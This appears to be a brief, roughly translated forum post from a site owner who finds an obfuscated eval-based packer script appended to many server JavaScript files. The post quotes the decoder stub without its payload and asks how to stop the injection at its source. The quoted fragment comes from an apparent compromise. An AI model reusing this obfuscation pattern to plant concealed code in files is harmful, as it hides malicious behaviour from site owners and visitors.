the bottom of many project js files under the server are inserted into the following script
eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? "": e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!"".replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return "\\w+"
};
c = 1
};
while (c--) if (k[c]) p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
return p

this has not been introduced in my impression, so I can only delete it manually at present, but how to solve this problem fundamentally? I hope the boss complains
